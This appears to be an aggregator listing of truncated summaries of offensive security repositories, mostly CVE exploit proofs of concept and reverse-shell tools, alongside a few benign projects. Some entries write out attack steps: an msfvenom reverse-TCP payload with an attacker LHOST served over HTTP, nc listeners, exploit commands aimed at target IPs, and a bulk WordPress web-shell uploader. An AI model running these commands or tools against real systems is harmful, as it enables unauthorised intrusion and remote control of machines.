CVE-2025-32463

📌 CVE-2025-32463 — Sudo --chroot 本地权限提升 ExploitDB ID: 52352 🧠 概述 本仓库记录了一个影响 Sudo 1.9.14 – 1.9.17 版本的严重 本地权限提升（LPE） 漏洞。 该漏洞源于 sudo -R --chroot 选项的错误实现，即使 sudoers 文件中未授权 ，攻击者也能 以 root 权限执行命令 。 🔥 结果： 未授权用户 → root shell 🧩 受影响组件 软件： sudo 受影响版本： 1.9.14 1.9.15 1.9.16 1.9.17 CVE ID： CVE-2025-32463 平台：...

cve-2025-55182

🛡️ React2Shell CTF 🚀 欢迎来到 React2Shell-CTF ，一个专为练习利用 React2Shell CVE-2025-55182 而设计的 Docker 化环境。 React2Shell 是一个影响基于 React 的应用程序的严重漏洞。该仓库提供了一个安全、可本地部署的夺旗挑战，帮助您理解和缓解此缺陷。您能弹出反向 Shell 吗？ 🐚 ℹ️ 漏洞信息 有关 CVE-2025-55182 的完整技术说明，请访问官方信息网站： 👉 react2shell.com 👈 ⚠️ 免责声明 重要！操作前请阅读 本项目严格用于教育和学习目的 。 🚫...

cve-2022-3218

步骤 1 — 创建一个真实的载荷（Windows） msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe 步骤 2 — 通过 HTTP 提供载荷服务 在同一目录下： python3 -m http.server 80 步骤 3 — 调整漏洞利用 按如下方式运行： python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe 步骤 4 — 在利用之前启动监听器 nc -lvnp 4444...

CVE-2024-9290

CVE-2024-9290 漏洞利用工具 | Super Backup & Clone 漏洞 该工具针对使用 Super Backup & Clone 插件且存在任意文件上传漏洞的 WordPress 网站。它尝试将恶意 shell 上传到 /wp-content/uploads/isnapshots/ 目录。上传后，该工具会验证 shell 是否存在，并将成功上传的记录写入 shells.txt 文件。 功能 多线程 ：同时处理最多 10 个 URL，以加快利用速度。 自定义 Shell 上传 ：使用托管在 GitHub 上的恶意 shell 作为有效载荷。 日志记录...

RevShell

🔥 RevShell Project — Advanced Windows Reverse Shell root@kitploit: ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░...

CVE-2023-31702

CVE-2023-31702 — eScan 管理控制台 SQL 注入（需认证） 概述 CVE-2023-31702 是发现于 MicroWorld Technologies eScan 管理控制台 14.0.1400.2281 版本中的一个经过身份验证的 SQL 注入漏洞。该漏洞存在于 GetUserCurrentPwd 端点中，UsrId 参数未经适当的清理或参数化，直接被传入 SQL 查询。经过身份验证的攻击者可以利用此漏洞执行 基于时间的盲 SQL 注入 ，提取整个后端数据库，并最终在底层 Microsoft SQL Server 上获得 交互式操作系统命令 shell...

CVE-2017-7494

CVE-2017-7494 针对SAMBA CVE-2017-7494漏洞的远程root利用工具。 详细信息 本利用工具分为两部分： 首先，它编译一个名为"implant.c"的有效载荷，并生成一个库（libimplantx32.so或libimplantx64.so），该库切换为root用户，脱离父进程并派生一个反向Shell。 其次，它在目标主机上查找可写共享，以上传该库（使用随机名称）并尝试加载它。 只要目标存在漏洞，且有效载荷与目标操作系统及架构匹配，该利用工具就100%可靠。 使用方法 在你的机器上运行以下命令： root@kitploit: $ nc -p 31337 -l...

ish

iSH iSHは、ユーザーモードのx86エミュレーションとシステムコールの翻訳を使用して、iOS上でLinuxシェルを実行するプロジェクトです。 プロジェクトの現状については、issueタブとコミットログを確認してください。 App Storeページ TestFlightベータ Discordサーバー ヘルプとチュートリアルのWiki ハッキング このプロジェクトにはgitサブモジュールがあります。--recurse-submodulesを使用してクローンするか、クローン後にgit submodule update --initを実行してください。...

ish

iSH A project to get a Linux shell running on iOS, using usermode x86 emulation and syscall translation. For the current status of the project, check the issues tab, and the commit logs. App Store page TestFlight beta Discord server Wiki with help and tutorials README中文 如若未能保持最新，请提交PR以更新 Hacking...

CVE-2019-7069-POC

Kibana ⚠️ 免責事項: このスクリプトは教育目的および許可された侵入テスト のみを対象としています。所有していない、または明示的なテスト許可がないシステムで使用しないでください。作者および貢献者は、このツールの誤用や損害について一切責任を負いません。 🎯 これは何ですか？ これは、Kibanaバージョン 6.6.1 の リモートコード実行脆弱性 に対するPython 3エクスプロイトスクリプトです。プロトタイプ汚染の欠陥を利用して、脆弱なKibanaインスタンス上で任意のコマンドを実行し、リバースシェルを起動することも可能です。 🕹️ 特徴 Kibanaのバージョンを自動検出...

CVE-2025-8110-PoC

CVE-2025-8110 概念验证 Python 概念验证脚本，针对 CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile 符号链接远程代码执行。单次攻击：恶意 PUT 请求本身触发 git fetch → sshCommand → 反弹 shell。 ⚠️ 仅供教育和授权安全研究使用。 针对你不拥有或未经书面许可测试的系统运行此工具是非法的。 详情 针对 CVE-2025-8110 的 PoC 受影响版本：Gogs v0.13.3 已修复版本：Gogs v0.13.4...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 认证 RCE 利用工具包 一个针对 ScadaBR 1.1.0 的模块化认证后 RCE 利用工具，专为红队行动而增强。 功能特性 通过 viewedit.shtm 上传武器化的 .jsp shell 支持 Linux 与 Windows 载荷 支持 SOCKS5 / HTTP 代理 反弹 shell 触发（标准或 base64） 枚举模块（数据库、凭证、Log4Shell 等） Webhook 外传（Slack / Discord） 生成 Metasploit 资源脚本 清理支持（kill switch） MITRE ATT&CK...

CVE-2026-24061-setup

CVE-2026-24061 环境搭建 本仓库包含 CVE-2026-24061 的 Docker 配置。 安装 Docker 后，只需执行以下操作： 1. 克隆此仓库。 2. 运行以下命令： root@kitploit: sudo docker build . --tag telnetd-auth-bypass 3. Docker 镜像构建完成后，我们可以使用以下命令启动容器： root@kitploit: sudo docker run -dt --rm --name test telnetd-auth-bypass 4. 完成后，你的漏洞实验环境就准备好了，可以开始利用了。只需发送...

hacktivity-vulns-exploits-lab

漏洞、漏洞利用与远程访问载荷 — 实验报告 我对 Hacktivity 网络安全实验室工作表 "漏洞、漏洞利用与远程访问载荷" （利兹贝克特大学道德黑客与渗透测试课程）的演练与分析。 内容涵盖软件漏洞如何导致任意代码执行、绑定型与反弹型 Shell 的区别、Metasploit 框架，以及两个真实 CVE 在刻意配置为易受攻击的训练虚拟机上的端到端利用过程：...

CVE-2026-33310

CVE-2026-33310 CVE-2026-33310（参数默认值中通过 shell 展开导致的命令注入） 摘要 参数默认值中的 shell 语法似乎在目录解析过程中会被自动展开。 如果目录包含诸如 shell 的参数默认值，则在访问目录源时可能会执行该命令。 这意味着，如果用户加载了恶意的目录 YAML，嵌入的命令可能会在主机系统上执行。 此行为可能被归类为 CWE-78：操作系统命令注入 / 不安全的 Shell 展开。 详情 该问题似乎源于访问目录源时参数默认值的展开方式。 在目录加载和源访问期间： Intake 解析参数默认值 负责展开默认值的函数会处理 shell 语法...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector 未认证远程代码执行 MCPJam Inspector -i -p -m 反弹 Shell 示例 步骤 1 — 启动你的监听器： root@kitploit: nc -lvnp 4444 步骤 2 — 运行漏洞利用脚本： root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash 载荷方法 如果目标上 busybox 不可用，请尝试其他方法： root@kitploit: bash python3...

TelnetdBypass-

TelnetdBypass — CVE-2026-24061 扫描器 这是一个基于 Python 的安全扫描器，用于检测并利用 CVE-2026-24061 ，这是 GNU InetUtils telnetd 1.9.3 至 2.7 版本中存在的一个严重（CVSS 9.8）身份认证绕过漏洞。 工作原理 该扫描器通过 Telnet NEW-ENVIRON 选项（RFC 1572）注入恶意 USER=-f root 值，诱使服务器跳过身份认证并授予 root shell。 功能特性 支持扫描单个 IP、主机名或完整 CIDR 网段 多线程（默认 50 线程）以获得快速结果...

SSHintel

SSHintel — 轻量级 SSH 蜜罐 SSHintel 是一个使用 Python 和 Paramiko 构建的轻量级 SSH 蜜罐。它模拟一个假的 Linux shell，用于记录未经授权的访问尝试、捕获凭据，并在受控环境中分析攻击者的行为。 🔧 功能特性 记录 SSH 登录尝试，包括 IP、用户名和密码 提供一个模拟的 Linux shell（一个假的、内存中的环境） 支持广泛的侦察和导航命令（ls、cd、pwd、cat、echo、grep、find、tree、head、tail、wc、stat、ps、df、free、env、id、whoami 等） 可选的 --tarpit...

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 远程代码执行 针对 Dolibarr ERP/CRM v17.0.0 的 PHP 代码注入利用程序，允许通过 Website/CMS 模块以 www-data 用户身份获得 反向 shell 。 ⚠️ 仅限教育用途和授权审计。 📑 目录 什么是 CVE-2023-30253？ 漏洞如何工作？ 影响 此利用程序做什么？ 要求 安装 用法 实际示例 利用程序逐步说明 缓解措施 参考...

CVE-2026-6009

⚠️ 免責事項: このリポジトリは教育目的および許可されたセキュリティテストのみを対象としています。自分が所有していない、または明示的な書面による許可を得ていないシステムに対して使用しないでください。 CVE-2026-6009 概念実証 概要 Jaspersoft report ライブラリバージョン = 7.0.3 は、Java デシリアライゼーションフローを悪用した リモートコード実行RCE に対して脆弱です。この脆弱性により、攻撃者はこのバージョンのライブラリを使用しているシステム上でリバースシェルとの接続を確立できます。 ライブラリ: Jaspersoft report...